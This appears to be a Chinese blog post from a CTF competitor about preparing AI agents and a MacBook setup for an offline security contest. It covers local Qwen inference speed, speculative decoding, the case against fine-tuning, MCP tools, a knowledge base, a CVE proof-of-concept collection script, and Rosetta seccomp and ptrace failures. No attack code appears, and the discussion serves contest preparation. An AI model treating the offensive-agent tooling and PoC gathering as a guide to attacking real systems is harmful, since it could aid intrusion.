不过，洛汐在互联网上得到的一致答案是：Codex 的 harness 是一流的，甚至对于 DeepSeek V4 Pro 0813 这种过拟合了 DeepSeek Harness 极简模式（minimal mode）的模型也具有更高的跑分，但毕竟模型质量和 harness 质量是一个仁者见仁智者见智的问题，就连所谓权威的评测机构也会在这些事情上有所偏差——洛汐最后还是没有选择 Codex 作为主力 Agent。

最后是新起之秀 DeepSeek Harness。DeepSeek Harness 可以通过修改配置文件使用 LM Studio 的模型，原生支持 OpenAI Responses API。不过由于比赛时（2026 年 8 月末）DeepSeek Harness 仍处于非常早期的预览版 0.1.0-rc.7，其极简模式虽然 prompt 显著更短，但在 macOS 上有极简模式下 Bash 工具的 bug，所以洛汐只能使用标准模式。不过，DeepSeek Harness 在当时的版本也存在一个设计上的致命问题——因为本地 Qwen 的 token 速率实在太慢，在 Qwen 调用 Write 工具编写脚本时，连续出现了多次被打断的情况：因为 Qwen 写得实在太慢了，DeepSeek Harness 判断写入工具执行超时，于是就直接打断了模型。这对线下赛和自部署模型来说是一个非常恐怖的问题，所以洛汐没有使用 DeepSeek Harness。

无畏并发#

模型必须放在真实任务中才能显露其真正水平。于是，洛汐使用了 Mini L-CTF 2026 的 Web 题 EzOmniProbe 进行测试，这次测试使用了 DeepSeek Harness Desktop，得到的结论是：单轮任务，非并发，在长达 2 小时的测试中，洛汐给模型提供了 2 次提示，Qwen 3.8 27B 的缓存命中率 91%，平均 token 效率（这里包含 prefill 和等待 tool calling 的时间）4.8 token/s，首 token 平均用时（各轮从发起到收到首个 token 的平均值）27.6 s。最终，Qwen 成功将题目推进到了 JS 沙箱，大约是题目的 60%。（当然，除了这道题之外，洛汐还使用别的指标进行了测试，这将在后文提到。）

聊天记录。洛汐：「急死我得了，（Qwen 3.8 27B）绕圈圈。」

事实上：洛汐是有点失望的。一道零音用了 2 个小时就差不多看明白的 Web 题，被 Qwen 跑了 2 个小时还在绕圈子，而且生成速度是越来越慢的——从各种角度来说，当前的工作流并不合格。其实洛汐并没有对 Qwen 3.8 27B 抱有很高的预期，毕竟零音/洛汐很早之前就自觉 27B 的模型顶了天也比不过部分参赛者在比赛中以各种可能并不正当的方式使用的 1.6T 参数量的模型 DeepSeek V4 Pro ⁷。洛汐对这个模型的预期是，它能够帮助洛汐做一些繁琐的工作而非智力上的工作，也就是说，它可以分担一些可能并不太吃智力的工作量，但若让它全局掌管某道题的完整思路，那确实有些强人所难。不过，在 CCISC 2026 的实际比赛中，由 2 台设备部署的 Qwen 3.8 27B 事实上做出了很多的题目，甚至在以 MacBook Pro 的理论生成效率而言极短的时间内攻克了一道对其能力而言较为困难的 Pwn，这远远超出了洛汐对 27B 模型的预期。看来真正在线下赛实际共事的时候，无论是模型还是人，其真正的能力和素质才会显露出来。这于洛汐而言，是不亚于 CTF 本身的一个教训。

赛事方在比赛结束的闭幕式上播放的选手风采展示视频，其中某一帧恰好拍摄到一位选手在比赛过程中使用 Claude Code 连接 DeepSeek V4 Pro 并输入了提示词「分析该目录下的ctf题目」。注意：单凭这一图片，我们并不能断言选手一定违规连接了互联网，因为我们不能排除两种可能的情况：其一，选手携带的笔记本电脑可能有足够强大的性能以运行 DeepSeek V4 Pro；其二，选手很可能使用包括但不限于 CC Switch 之类的工具路由了本地模型。

单发情况下尚且如此，那并发情况呢？洛汐只能坦言：在线下赛的真实场景中，Qwen 3.8 27B 的表现让洛汐更加大跌眼镜。

这里因为洛汐文章的提纲有一些混乱，洛汐只能先行剧透：事实上，我们在线下赛使用了 GGUF 的方案，它的确具备了一些性能上的提升，但远没有那么多。

由于 4 个参赛者共用 2 台 MacBook 的 Qwen，每 2 个参赛者使用 1 台，这里 PatriciaOfEnd 和洛汐使用 stellakexing 的 Qwen。在两人各打开 2 个 Agent 的情况下，LM Studio 需要 4 个并行推理的线程，于是 token 效率就大约分了四份，实际测试中，在 4 个线程的情况下，每个窗口的平均 token 速率是 3~4 token/s；为了提高速度，我们不得不限制 Agent 的数量，但只要两人同时使用，就不可能有速率的提升——到了后期洛汐甚至完全停止使用 AI，以允许 PatriciaOfEnd 一个人跑 3 个 Agent。而速率甚至不是最大的问题：由于一直查不清问题出在哪一环，使用 oh-my-pi 时，若在思考到一半的时候 Ctrl-C 打断，LM Studio 侧的推理并不会立刻中断——换言之它还会继续推理；又因为洛汐设置了 LM Studio 的最大并行数量为 4，于是很容易出现「滚木」推理线程占了位置导致完全无法使用的情况。洛汐只能关掉再打开 LM Studio 的 Server API，强制中断推理，才能继续使用。而又因为 prefilling 的谜之速度，在每一轮 tool call 后，本身对 tool calling 结果的处理就要花很多时间；倘若因为一些问题导致内存中 KV Cache 丢失，那推理速度就更加灾难——在比赛中因为一些原因洛汐重启了 Mac，再次使用 oh-my-pi 重新连接时，对一个 50k 的上下文，Qwen 单是重新 processing prompt 就用了约 10 分钟时间。在比赛中使用 AI 时，有近半数的时间我们实际上是在等待 Qwen 重新处理 prompt。这个速度，说实话，真的有点难以使用。洛汐也犯起了嘀咕，这个速度到底是快是慢——

再谈速度#

质疑归质疑。说实话，等它生成的那段时间里，洛汐其实是感到绝望的。但仔细想想，这似乎也可以理解。我们算一笔账，请看下面的答卷：

题目

计算 Qwen 3.8 27B Q8_K_M 在 M4 Max 上的理论 token 速度。（150 分）

解：

在我们这台 40-core GPU、128 GB RAM 的 M4 Max 上，它的统一内存带宽最高为 546 GB/s546 \text{ GB/s}546 GB/s⁸。Qwen 3.8 27B 的参数量约 27 billion27 \text{ billion}27 billion。假设使用 Q8 量化，每个参数大致占 1 byte1 \text{ byte}1 byte，那么模型权重的最低体积即

27 billion×1 byte=27 GB27 \text{ billion} \times 1 \text{ byte} = 27 \text{ GB}27 billion×1 byte=27 GB

再加上量化 scales、metadata、alignment 和其他张量，我们预期实际的权重接近 28∼31 GB28 \sim 31 \text{ GB}28∼31 GB。

在 decode 阶段，模型每生成一个 token，粗略地需要让大部分权重参与一次计算。我们考虑这样一个上限：每一单位时间内，LM Studio 的 runtime 都能完美地将权重从内存中读完，而且不存在任何其他开销，则有

546 GB/s÷28 GB/token=19.5 token/s546 GB/s÷31 GB/token=17.6 token/s\begin{aligned} 546 \text{ GB/s} \div 28 \text{ GB/token} &= 19.5 \text{ token/s} \\ 546 \text{ GB/s} \div 31 \text{ GB/token} &= 17.6 \text{ token/s} \end{aligned}546 GB/s÷28 GB/token546 GB/s÷31 GB/token=19.5 token/s=17.6 token/s

从而理论的 token 速度约为

17.6∼19.5 token/s\boxed{17.6 \sim 19.5 \text{ token/s}}17.6∼19.5 token/s

满分！不过满分归满分，这只是 roofline 式的粗略估计，不是对某个 runtime 的保证。LLM 的世界里有各种复杂的因素，纯数学永远不能概括它的一切。感觉不如当西电 AI 专业开学考出了，有感觉吗（

而在现实中，除了需要考虑到「计算」这一确实耗时的问题，还需要扣除一些额外的因素，例如 Metal kernel 并未完整、完美地利用内存带宽，矩阵运算和访存并不完全重叠，还有 tokenizer、采样、同步、runtime 自身的开销等等。⁹我们实测出的模型效率其实非常符合这个估算——这是物理层面决定的上限。而至于前文为什么提到生成速度越跑越慢，是因为 Agent 任务并非单纯的输出：每轮的耗时要近似包括 prompt prefill、thinking decode、tool execution 和 tool output 等；如此周而复始，后续轮次的 prompt 越来越重。即使缓存命中率高达 91%，也并不意味着前序轮次的成本变为

starwalking=0.starwalking = 0.starwalking=0.

减少了某些公共前缀的重复计算是好事，但新增的 tool output、对话尾部和动态部分仍然需要处理。

另外，prefill 阶段同样也是不得不品的一环。洛汐使用了一个 36k 长度的上下文进行测试，模型在 prefill 初期可以达到 200 token/s 的速度，但越往后则速度越慢；处理到第 18k 个 token 时，模型的速度已经降到了 150 token/s。这样看，洛汐之前测试时「一句话 prompt 只要约 0.1 s 就能出第 1 个 token」也就不难理解了；但在当时这套 MLX/LM Studio 配置下，一个 50k token 的上下文也的确用了约 10 分钟才能处理成功。需要注意，prefill 和前面估算的单 token decode 并不是同一种负载：长上下文 prefill 还会受到 attention 计算、KV Cache、分块策略和 runtime 实现等因素影响，不能只用「内存带宽不够」来解释。可以确认的是，这套配置在长上下文下退化得很明显。毕竟，若跑足够强的大模型只需租一台 MacBook Pro 的话，那这样的比赛不就纯变成了 AI 赛吗？那就没有多少意义了。洛汐于是这么想着，想啊想……

GGUF 和 Speculative Decoding#

我是一个 GGUF，我有一个 Speculative Decoding！台下选手欣喜若狂！

群友🐔我🐔我🐔我🐔我 🐔🐔UF 教我教我教我教我 Speculative 🐔coding😱😱😱😱

想着想着，GGUF 的模型也下载好了，洛汐立刻展开了第三轮测试。本轮测试中，我们使用了史铁生的文章《比如摇滚与写作》并要求模型生成读后感。（说实话，这篇文章真的很有意思！洛汐被史铁生的文字震撼了很久，常读常新……希望大家都来看看 w）

对于 GGUF 的 Q8_K_M 和 MLX 的 8bit 量化版，我们使用了相同的 initial prompt、temperature、top-p、max output tokens 和测试问题。GGUF 的配置如下：

GGUF 配置项	值
Reasoning Effort	Medium
CPU Thread Pool Size	16，和 CPU 核心数相同
Speculative Decoding	On

MLX 侧也使用相同的 reasoning effort。结果非常 AMAZING 啊——

测试项	Q8 GGUF (64,000)	Q8 GGUF (262,144)	MLX 8bit (262,144)
生成速度	20 token/s	19 token/s	16 token/s
首 token 用时	11.77 s	11.74 s	11.33 s
draft tokens accepted	44.6%	44.5%	不适用

（括号内的值是设置的上下文长度。LM Studio 中，GGUF 模型可以调整上下文长度，但 MLX 模型因为一个 bug 而不能。262,144 (262k) 是 Qwen 3.8 27B 支持的原生最大上下文长度。）

奇迹……降临了？至少这已经是一个非常漂亮的结果了。在这两套最终配置中，GGUF 的生成速度比 MLX 快了约 25%，且在这一次读后感测试中，两边未见明显质量差异；LM Studio 也为 GGUF 提供了比 MLX 更加高级的配置选项，优势已经很明显了。不过这并不是严格控制变量的「格式对决」：GGUF 打开了 MLX 侧没有的 Speculative Decoding，因此 25% 的差异只能说明我们最终采用的 GGUF 配置整体更快，不能全部归因于 GGUF 或某个 runtime 本身。而其中的 Speculative Decoding 仍然是真正的奇迹——所谓 Speculative Decoding，顾名思义：「投机解码」。在生成时，由一个小 draft model 快速猜几个 token，再由 27B 的 target model 批量验证，猜对的直接接受，遇到不一致处则由 target model 给出结果并继续推算。¹⁰

The draft-target approach to speculative decoding operates as a two-model system. (NVIDIA Developer Technical Blog)

我们在 GGUF 模型上打开了 Speculative Decoding，并且得到了高达 44.6% 的 draft tokens acceptance，这说明 draft model 并非盲目瞎猜，有接近一半的候选 token 能被目标模型接受。而且，我们在这里使用的是散文进行测试；代码和技术类文档更程式化、模式更固定，理论上我们可以期待更高的接受率。当然，我们不能说 GGUF 相对于 MLX 的一切提升都必须归功于 Speculative Decoding，毕竟二者的实现差异等更加底层的东西可能有待我们进一步探究，但这并不妨碍我们坚定已经下定的战术结论：我们已经有了一个实测更快、支持 Speculative Decoding、配置更可控的 GGUF 主线。好、好啊！把 MLX 扫进历史的垃圾堆吧！

不过，还有没有更大的性能提升呢……？例如，其他的量化方案？

Q6/6bit、5bit 和 oMLX#

是的，我们考虑过将 Q6/6bit 量化的模型作为 fallback。如果 Q8/8bit 在真实 Agent 任务中确实撑不住，或许 Q6_K GGUF 和 MLX 6bit 可以作为一个速度优先的同档候选。粗略地看，倘若我们在 Q8 量化得到约 14~16 token/s 的裸生成速度（这里已经考虑了包括 tool calling、prefill 之类导致的性能损耗，所以与之前的测试结果有些差别），则在 Q6 量化下，比较合理的期待是 16~22 token/s。看起来提升可能不多，但若转换为同等工作量下的执行时间，在以分钟为量度的情况下，其收益还是可观的。我们甚至还考虑过 MLX 的 5bit 量化版，它带来的效率收益理论更加可观——

但问题是，为了速度而选择更大的量化损失，真的值得吗？

事实上我们无从得知，正如洛汐在前文所说，「洛汐也并非权威的 AI 测试机构」——自己并没有评测 LLM 的经验，洛汐最终没有选择为一个更快的速度去赌博一个牺牲了精度的模型。当然这并不代表 Q6/6bit 和 5bit 就一定有多么严重的降智——洛汐并不为这一条断言负责，因为洛汐根本没有测试、也没有时间和方法测试。有些遗憾。「降智」？有我 GPT 6 Astra 降智到 4o-like model 那么严重吗？（ ¹¹

不过，来自西电的朋友们提供了一个看起来更加诱人的方案——Qwen3.8-27B-oMLX-MTP-Mac。

Weschera

Qwen3.8-27B-oMLX-MTP-Mac

Qwen 3.8 27B at 48-65 tok/s on a Mac Studio M4 Max — measured oMLX native-MTP recipe, same-day A/B vs mlx-vlm+MTP sidecar, raw benchmark JSON included

—

no-license

Python

这个东西看起来真的很诱人——使用 oMLX Runtime 和特定的 oQ4e 量化模型、MTP 配置，声称可以在 M4 Max（128 GB RAM）上跑到 oMLX baseline: 24.9~25.9 token/s，oMLX + native MTP: 48.0 token/s prose, 65.5 token/s code，测试条件是单流、关闭 thinking、约 2.1~2.4 k token prompt、生成 320 token。¹²

GitHub repo 内，开发者对 Qwen3.8-27B-oMLX-MTP-Mac 的官方测评报告。

但它究竟是如何做到的呢？回顾前文的内容，为什么 token 生成这么慢？本质上我们可以粗略理解：模型生成每个 token 的时候，都需要将全部权重从内存读一遍，参与计算。每一步的运算量对于这台恐怖性能的 MacBook Pro 来说其实很小，但「读一遍 28 GB」这个动作花掉了几乎所有时间。这就是说，GPU 的计算单元实际上大部分时间都在等待内存送来权重。这也就是为什么 27B 无论在 Mac 上怎么调，其速度都被压在这个量级——不是算不动，是「喂」不动。

Qwen 3.8 有一个极好的特性，它的官方模型卡明确写了自己支持 MTP（Multi-Token Prediction）¹³——这意味着 Qwen 3.8 在训练阶段就学会了在预测下一个 token 时同时预测未来 K 个 token。为了实现这一点，模型末尾挂了一个轻量的 MTP 模块（通常只有一层 transformer，参数少得可以忽略），它利用主模型最后一层的隐藏状态，再去预测后续 K 个 token。

传统的 Speculative Decoding 是小模型猜测后大模型验证，而原生 MTP 的路径有些差别：

主模型 forward 一次得到当前最后一个 token 的隐藏状态。
几乎免费的 MTP 模块从隐藏状态出发，以极低的代价预测出未来 K=3 个候选 token。
主模型再将这 3 个候选 token 一次性放到同一个 batch 里做一次并行 forward。接受的，直接落地；第一个被拒绝的，从那里重新进行第 2 步。

加速的秘密在于第 3 步：验证多个候选 token 时，target model 可以通过一次批量 forward 摊薄读取权重的成本。batch 变大会增加计算和中间状态开销，但在 decode 主要受内存带宽限制时，空闲的计算单元可以承担其中相当一部分。不过，实际加速比取决于每次提出的候选数、平均连续接受长度、draft/MTP 模块的成本、批量验证开销和采样方法，并不能把一个 acceptance rate 直接代入「1 + 平均接受率」得出。

但我们原来的配置也有 Speculative Decoding，为什么和这个 repo 的实现结果相差了近两倍呢？这有两重原因。第一重，原生 MTP 的接受率显著高于外挂 draft model 的接受率。MTP 的收益事实上严格取决于接受率，好比一个 draft 模型如果给你预测了一堆废话，你一定看都不想看——MTP 就是这个道理。这个 repo 里的原生 MTP 的接受率明显更高，从而它大概率能获得更高的速度。

第二重原因呢？它…实际上是 Q4 量化。对，又回到了洛汐所说的原点——洛汐还是不愿意赌 Q4。写这段文字的时候，洛汐已经打完比赛一两周了；回想一下，当时看到这种新的方案的确欣喜若狂；但想到它是 Q4 量化的时候，洛汐愣是赌都没敢赌。洛汐不敢说自己到底是亏了还是赚了，毕竟正如洛汐所说，洛汐也没法赌，因为的确没法测。不过它倒是给我们提供了一个更有价值的推论：如果 GGUF 侧我们的 Speculative Decoding 不再进步，则该 repo 提供的 oMLX + oQ4e 方案的吸引力就更多来源于它的 Q4 权重和接受率的实现，而非「原生 MTP 这个想法」。是的，GGUF 模型或许没有原生 MTP 那样的速度，但接受率的提升是实打实影响模型效率的关键因素。其实我们已经借这个想法吃到了红利——近半的接受率已经带给了我们显著的效率提升，我们只是缺少更好的量化起点和更精的实现——但这并不是我们可以做到的。这样的推论或许并不能为我们带来 token 速度上的实际提升，却实在可以让我们稍微心安一些了。毕竟，不是我们能改变的事，为什么要为其负责、懊恼和焦虑呢？

所以，我们最终也没有选择这个方案。洛汐跑出的 20 token/s 并非因为洛汐太菜，而是在约 28 GB 权重和这套 runtime 的约束下，它的裸 decode 本来就只能在这个量级；我们采用的普通投机解码又通过一次 target forward 接受多个候选 token，提高了最终的有效生成速度。这个数字其实已经相当体面了——而洛汐也不愿意用更玄学的引擎去赌一个不知道光不光明的未来。于模型优化如此，于人生和未来也一般——孤注一掷，本就不是洛汐习惯的生活方式，即使 protosc/Sigrid/零音/洛汐已经在生命中孤注一掷过无数次，也为此遍体鳞伤过许多次。

再谈微调#

有朋友询问过：要不要自己微调一个模型？老实说，这个念头并非毫无依据——互联网上确实有一些面向 CTF/网络安全场景的微调模型，例如 Hugging Face 上的 ShadowEternity/CTFsolver 和 edamamex/qwen-ctfer，而事实上也不乏「微调之后某项能力明显提升」的案例。但洛汐给出的答案依然明确：对我们的使用场景而言，微调大概率是一件负期望值的事情。

SFT 微调最容易稳定改变的，是模型「回答的形状」——输出格式、口吻、解题报告的结构、领域词汇的唤起方式。¹⁴高质量 SFT 也可能改善领域知识的调用、工具使用、任务分解，以及与训练分布相近的漏洞识别表现；但几千条 CTF writeup 能否为一个 27B 模型注入可以泛化到陌生题目的新推理能力，仍然十分不确定。对我们的短期使用场景而言，它更像是「激活」与「规整」，而不是保证教会模型一种此前完全不会的能力。

而且，事实上有个隐蔽的坑：公开 writeup 的质量是出了名的参差不齐。大量题解会跳过最关键的思考步骤——无数个令人憎恶的「注意到」背后，真正的洞察过程是缺失的。用这种语料训出来的最坏结果，不是模型变强，而是学会写「听起来很自信、推理却很浅」的解题报告，或者在一轮轮做题中学会瞎猜。对一个跑分本来已经接近 V4 Flash 的模型来说，这甚至是降级。还有一个更实际的副作用要警惕：若学习率、训练轮数或数据配比不当，小规模 SFT 也可能造成灾难性遗忘，使通用代码和推理能力被磨掉一角；采用 LoRA、混入通用数据并认真评测可以降低风险，却不能替我们省去验证。通用代码能力恰恰是这场比赛最依赖的主资产。为了在某个细分域里博几个点，仓促赌上全局能力，这笔账不划算。

Different stages of training for an LLM. (Deep (Learning) Focus)

更何况，这台 MacBook Pro 在备赛的这些日子里，还肩负着它真正的本职任务：环境验证、推理基准、断网彩排。五天窗口里如果塞进一个完整的微调项目，意味着前面所有准备都会被挤压。不过，这并非说微调永远不值得：唯一在赛前还有上升空间的变体，是趁现在还有网，用前沿模型的 API 批量生成高质量 CTF 推理轨迹做蒸馏——这条路确实有让小模型涨点的报告，但它成立的前提是数据工程做得极其干净，一方面，仓促之间达不到那个门槛；另一方面，洛汐不会、也没有钱。

MCP 和 Skills#

洛汐想过 MCP，但对于我们的 CTF 工作流而言，事实上真正有用的 MCP 只有 ida-pro-mcp 和 jadx-mcp-server 这两个，于是洛汐也只装了这两个。但事实上，赛场上连 ida-pro-mcp 都没有派上用场——因为我们还装了一个插件 IDA-NO-MCP，可以直接把反编译的代码、内存布局、gadgets 之类导出到一个文件夹里。洛汐认为，让模型以文件形式直接读取这些结果，比走 MCP 的多轮调用更加自然：每多一轮工具调用，就要多一轮完整的「思考—生成—等待」，而在这台机器上，一轮的时间成本是肉眼可见的。相比之下，把结果落成文件之后，模型可以一次性读完，也能更充分地利用 oh-my-pi 针对「读取代码文件」的优化，例如它的 LSP 能力。

mrexodia

ida-pro-mcp

AI-powered reverse engineering assistant that bridges IDA Pro with language models through MCP.

MCP server for JADX-AI Plugin

Say goodbye to the complex, verbose, and laggy interaction mode of IDA Pro MCP

—

no-license

Python

Skills 同样在我们的考虑范围内，但这次忘了配置。赛后 PatriciaOfEnd 发来过几个 Skills，不知道用起来到底如何，但至少看起来相当不错——如果说 MCP 是「多轮调用」的形态，那么 Skills 更像是一段可以直接随提示词一起带上的流程知识，可以指导模型做一些分析而不至于瞎猜。哪怕这些东西不给模型使用，人类也可以对照着完成。可惜这次没有带上，下次再说——如果还有下次的话。

聊天记录。PatriciaOfEnd 分享自己发现的 CTF Skills 列表。

微信公众号：用于渗透测试的AI提示词和skill

yaklang

hack-skills

Helping AI Agent become an awesome practical hacker!

SecKnowledge - Web与AI安全测试知识技能

—

no-license

Unavailable

知识库、RAG 与 PoC 库#

与前面那些「锦上添花」的配置不同，知识库、RAG 与 PoC 库都是需要在赛前实打实投入时间的基建，而它们往往能在断网环境里带来立竿见影的回报。

其中性价比最高的是知识库。在断网比赛里，最糟心的一点便是无法便利地查询东西：模型不知道的 API、记不清的用法、某个工具的细节，在线时一句话就能搜到，断网时却只能干瞪眼。而知识库只需要小时级的搭建成本，就能把「查不到」变成「搜一下」。洛汐下载了一些实用的 CTF 笔记和 writeup、爬取了部分社区/论坛的文章（合计数千篇）、又下载了许多编程语言和工具的官方文档；它们全部以纯文本躺在本地，比赛时用 rg / fd 就能快速定位。前文提到过，Qwen 3.8 27B 的世界知识并不算突出——知识库恰好补上了这一块：模型负责推理，文件系统负责记忆。

聊天记录。洛汐在收集 CVE、PoC 并构建自己的知识库。

RAG 是另一种思路，某种意义上也更「现代」：rg / fd 要求你先想清楚该找什么关键词，而 RAG 允许你用自然语言描述需求，由向量检索把相关的片段自己捞出来，对代码和文档这类语义密集的语料尤其友好。洛汐试了试常用的 AnythingLLM，但它的使用体验实在称不上好；而其他更好的方案这次既没有时间调研，也就没有测试。于是这块仍然停留在「知道它可能好、却没能用上」的状态。

PoC 库则更直接一些。洛汐写了一个脚本，可以按 CVE 编号自动搜集并匹配对应的 PoC，赛前也把整理好的 PoC 一并带进了赛场。略显可惜的是，这份准备在赛场第一天并没有派上用场——负责综合渗透的是其他队友，而他们并不知道洛汐这边备着恰好能派上用场的 PoC，或许也并没有将这件事放在心上，使得我们错失了在第一天 PTC（综合渗透）打出更多题目的机会。工具准备好了，却没有出现在需要它的人手里；这大概也算一种无声的教训：在团队赛中，让队友知道你带了什么，有时和带上它同样重要。只可惜，洛汐明明已经声明过，按理说所有人都该提前知道，但依旧没有人来要。这当然就不是洛汐的问题了，洛汐既自然不必为此感到抱歉，也不必再去追究，「我们」，无论作为一个整体还是一个个个体，究竟有没有当场挖出 CVE 的能力。

聊天记录。洛汐在群内说自己带了 PoC，但没有人来要。

跨平台题目#

Nix 的 sandbox、Linux 和 Docker#

说回备赛。起初洛汐准备 macOS 上的 Linux Pwn 时，打算使用 x86_64 的 Docker 容器，毕竟 Docker 是支持跨架构的。在应用选择上，OrbStack 看起来就显然比 Docker Desktop 好用，但它是收费软件，我们干脆去蹭了 30 天试用期。当然，还有一款同样优秀的 Docker Desktop 替代品 Colima，群友也为洛汐极力推荐，但这次没有用上。

使用 OrbStack 安装 Ubuntu 24.04 的 Docker 后，洛汐便照例配置 Determinate Nix。本以为跑完 nh home switch . 就可以万事大吉，谁知 Determinate Nix 突然炸了，报错却指向了……嗯？seccomp！按道理来说这是一个小问题，洛汐关掉 Nix 的 sandbox 后，也确实成功安装了 Determinate Nix；但洛汐突然警觉起来。哦不……这，似乎不只是 Nix 的问题，而是……

在安装 Determinate Nix 时报错，提示 "unable to load seccomp BPF program: Invalid argument"

Rosetta 2 的实现导致的问题#

要理解具体是什么问题，得先看清 Apple Silicon 上的 Docker 究竟是怎么跑 Linux 容器的。Docker Desktop、OrbStack 这类工具的做法其实是「虚拟机套容器」：先在 macOS 上起一台 arm64 的 Linux 虚拟机——Docker Desktop 用 Apple 的 Virtualization.framework，OrbStack 用自研的轻量方案——容器则都跑在这台虚拟机里。可当你要运行 linux/amd64 的镜像时，问题就来了：虚拟机里的内核是 arm64 的，x86_64 的指令由谁来执行？

答案是交给 Rosetta。Apple 通过 Virtualization.framework 把 Rosetta 以 VZLinuxRosettaDirectoryShare 的形式共享给 Linux 客户机，客户机再用 binfmt_misc 注册一个处理器，把 x86_64 ELF 的执行请求统统转交给 Rosetta 翻译。于是，容器里那些 amd64 程序实际上是被 Rosetta 逐条翻译成 arm64 指令、再由 M4 Max 执行的——用户态的一切看起来都很美好。¹⁵ ¹⁶直到程序伸手去够内核。

macOS 宿主 (M4 Max)

OrbStack / Docker (arm64) 上运行的 Linux 虚拟机

Rosetta 运行时翻译层

ELF 执行 / execve

翻译为 arm64 指令

系统调用

支持：常规调用

本次实测失败: seccomp / ptrace

容器内的 x86_64 程序

指令翻译 (JIT/AOT)

系统调用转接 (Syscall Shim)

arm64 Linux 内核

Apple Silicon (arm64 执行)

macOS 宿主 (M4 Max)

OrbStack / Docker (arm64) 上运行的 Linux 虚拟机

Rosetta 运行时翻译层

ELF 执行 / execve

翻译为 arm64 指令

系统调用

支持：常规调用

本次实测失败: seccomp / ptrace

容器内的 x86_64 程序

指令翻译 (JIT/AOT)

系统调用转接 (Syscall Shim)

arm64 Linux 内核

Apple Silicon (arm64 执行)

两轮测试#

seccomp 就是这样一个「伸手够内核」的设施。它是 Linux 内核提供的系统调用过滤器：程序通过 seccomp(SECCOMP_SET_MODE_FILTER, …) 装上一段 classic BPF（cBPF，而非更常见的 eBPF）程序；普通非特权进程通常还得先用 prctl(PR_SET_NO_NEW_PRIVS, …) 把提权的后路堵上，具有相应权限的进程则存在例外。从此该进程的每一次系统调用，内核都会先跑一遍这段 BPF，从 struct seccomp_data 里取出系统调用号、参数值乃至架构字段，再决定放行、返回错误码，还是直接杀死进程。Docker、Chrome、Nix 等软件都会使用它，但它只是整体隔离机制的一部分，Linux 沙箱还可能同时依赖 namespaces、capabilities 等设施。过滤器的效力来自内核的亲自执行：在 Rosetta 的翻译路径里，x86_64 程序的系统调用需要经过翻译层转接，像 seccomp 这样与具体任务及其后续系统调用绑定的设施可能出现兼容缺口。第一轮测试中，洛汐写了一个简单的 .c 程序，确认在我们当时这套 OrbStack + Rosetta 配置里，过滤器无法建立。

正常 Linux

放行

违规

进程发起系统调用

内核 cBPF 过滤

内核执行

SIGSYS 杀死 / EPERM

Rosetta 2

seccomp(SET_MODE_FILTER)

本次环境规则挂载失败

依赖 seccomp 的保护缺失

正常 Linux

放行

违规

进程发起系统调用

内核 cBPF 过滤

内核执行

SIGSYS 杀死 / EPERM

Rosetta 2

seccomp(SET_MODE_FILTER)

本次环境规则挂载失败

依赖 seccomp 的保护缺失

第二轮测试是 ptrace。它是 Linux 上「一个进程观察并控制另一个进程」的系统调用，也是 gdb、strace 这类工具常规工作流赖以存在的基础：附加到目标进程（PTRACE_ATTACH）、读写对方的内存与寄存器（PTRACE_PEEKTEXT / PTRACE_POKETEXT / PTRACE_GETREGS）、单步执行（PTRACE_SINGLESTEP）、拦截系统调用（PTRACE_SYSCALL）。在 x86 软件断点这一具体情形中，调试器通常会把目标地址上的指令临时改写成 int3，让 CPU 触发陷阱、把控制权交还给调试器。这样一套能力同样由内核提供、同样深度绑定任务状态；洛汐又写了一个简单的 .c 测试，结论是在我们当时这套环境里，直接调用 ptrace 的常规路径无法工作。这意味着依赖原生 ptrace 语义的调试器、跟踪器和相关工具无法保证兼容，但不意味着所有沙箱或所有调试方式都会一并失效。

目标进程 (x86_64)arm64 Linux 内核目标进程 (x86_64)arm64 Linux 内核调试器 (gdb / pwndbg)原生 Linux 期望的调试交互 (ptrace)本次测试中的 Rosetta 2 常规 ptrace 路径直接 ptrace 入口截断，常规工作流无法继续PTRACE_ATTACH (附加)1挂起进程2POKETEXT (植入 int3 陷阱)3PTRACE_CONT (恢复运行)4命中断点，抛出 SIGTRAP5PTRACE_ATTACH 失败6调试器 (gdb / pwndbg)

大事不妙了——两轮测试下来，洛汐着急了，但也确认了问题的方向：并非题目程序本身，而是我们当时采用的 OrbStack + Rosetta 翻译路径无法提供可靠的原生 seccomp 和 ptrace 语义。Rosetta 另有 ROSETTA_DEBUGSERVER_PORT 之类的远程调试接口，也可以把容器后端换成 QEMU 或完整的 x86_64 虚拟机；但这些方案各有兼容性和性能代价，不能保证洛汐惯用的 Pwn 工具链原样工作。¹⁷因此，对这场比赛而言，这套 Docker 配置并不是一个可以放心使用的 Linux Pwn 环境。幸好洛汐提前发现了这一点——洛汐无数次庆幸。若是在赛场上才发现这一点，洛汐就完了！毕竟，洛汐并不认为自己具备在无 Linux 环境、无动态调试的情况下，仅凭 IDA Pro 和有限的 AI 推理就可以流畅得到一道较为复杂的 Pwn 题解法的能力，即使洛汐可能具备。Linux 的动态调试，对洛汐而言，洛汐不敢说它一定必要，但至少它必须要有。

向 UTM 妥协#

于是洛汐紧急下载 UTM，以全系统仿真的方式跑了一台 x86_64 Ubuntu Server 22.04。与 OrbStack 里「借宿主 Rosetta 翻译 x86_64 用户态」的方案不同，这里的系统调用由 x86_64 客户机自己的 Linux 内核受理，不必把 x86_64 用户态系统调用转接给 arm64 内核——速度更慢，但至少在我们关心的两个接口上语义完整。配好 OpenSSH 连接上去，把两个 .c 测试重跑一遍，seccomp 和 ptrace 都恢复了正常，洛汐这才放下心来。这两项测试不能证明所有内核接口都与实体 x86_64 机器毫无差别，却已经覆盖了当时最关键的 Pwn 工作流。此后，洛汐用 SSH 反向代理把宿主机上的 LM Studio 端口映射进 Ubuntu，好让 Ubuntu 里的 oh-my-pi 用上宿主机的模型服务；文件则用 rsync 传输过去。一切都没有问题。「终于来好消息了！」

聊天记录。洛汐安装 UTM 并在其中安装 Ubuntu。

Windows、Parallels Desktop 和 Prism#

哦对了，关于 Windows 侧的逆向。在 Mac 上跑 Windows 的话，Parallels Desktop 是标准答案，unDefFtr 之类的朋友也推荐过，14 天试用下来确实舒服。但它在 Apple Silicon 上运行的是 Windows 11 ARM：普通的 x86/x64 用户态程序可以借助 Prism 模拟层¹⁸执行，这个模拟层的能力其实相当可观，日常的逆向工具大多基本可用；x86/x64 内核驱动却不能靠 Prism 直接运行，需要对应的 ARM64 驱动。用户态动态调试并非完全不可能，但洛汐没有时间充分验证各类调试器、反调试行为和异常语义的兼容性，也不敢把比赛押在未经彩排的环境上——于是 Windows 逆向题在洛汐手里基本只准备了静态分析方案。不过幸好这次比赛的 Jeopardy 和 AWD Plus 没有 Windows 侧的题目。

